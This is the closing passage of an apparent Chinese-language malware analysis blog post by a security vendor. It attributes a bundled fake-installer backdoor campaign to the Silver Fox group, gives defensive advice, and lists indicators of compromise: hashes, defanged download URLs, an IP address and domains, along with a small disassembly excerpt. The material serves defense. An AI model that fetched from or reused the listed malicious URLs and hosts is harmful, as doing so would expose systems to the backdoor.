lea     r9, aAclipboard      ; "ACLIPBOARD"
mov     r8d, 5
call    sub_1800427E4
lea     r9, aAfilter          ; "AFILTER"
mov     r8d, 6
call    sub_1800427E4

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程和URL等情况。

image

image

总结

  从仿冒软件捆绑、借正版安装器作为掩护、Rust下载器、中文模块名设备模块.dll、导出函数DM_Start、DMV2配置结构、Magnet Wire v2标识以及Modules\x64\插件加载目录等特征综合判断,该样本与银狐恶意程序生态特征高度吻合,本次攻击事件疑似归属银狐相关攻击活动。

  此类攻击也提醒我们,传统的单点防护已难以应对层层设伏的复合攻击。建议从三个层面构筑纵深防御:

  • 终端层面部署具备行为分析能力的安全产品,重点监测异常进程创建、内存加载载荷、程序动态释放DLL以及针对令牌、调试权限的调用行为
  • 网络层面对已知恶意端点实施访问控制,结合威胁情报对DMV2协议流量、非常规长连接建立动态阻断策略
  • 管理层面持续开展安全教育,提升人员对捆绑安装、盗版软件、仿冒安装包这类社会工程载体的辨识能力,形成人防与技防相结合的防御格局。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

    image

沦陷信标(IOC)

  • MD5

    0ce0a45ae22cb19d04c10d035b8a6bcc
    61e69d701f70d18c5caf304bbc429224
    8b9253c44fde1797ada4fa5a0354413f
    3f71ed87003b4f0b65e7723d2ae2e4a7
    1ec2c2783c3e3fb3848087661634a8a8
  • URL

    hxxps://pc.dyappdows.xyz/p8/Mt4setup.zip
    hxxps://api.appstore.name/pujing/cx_config.5.18.8.bin
  • IPV4

    13.196.214.159
  • Domain

    pc.dyappdows.xyz
    api.appstore.name
  • 瑞星病毒名

    Backdoor.SilverFox!1.14B30

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *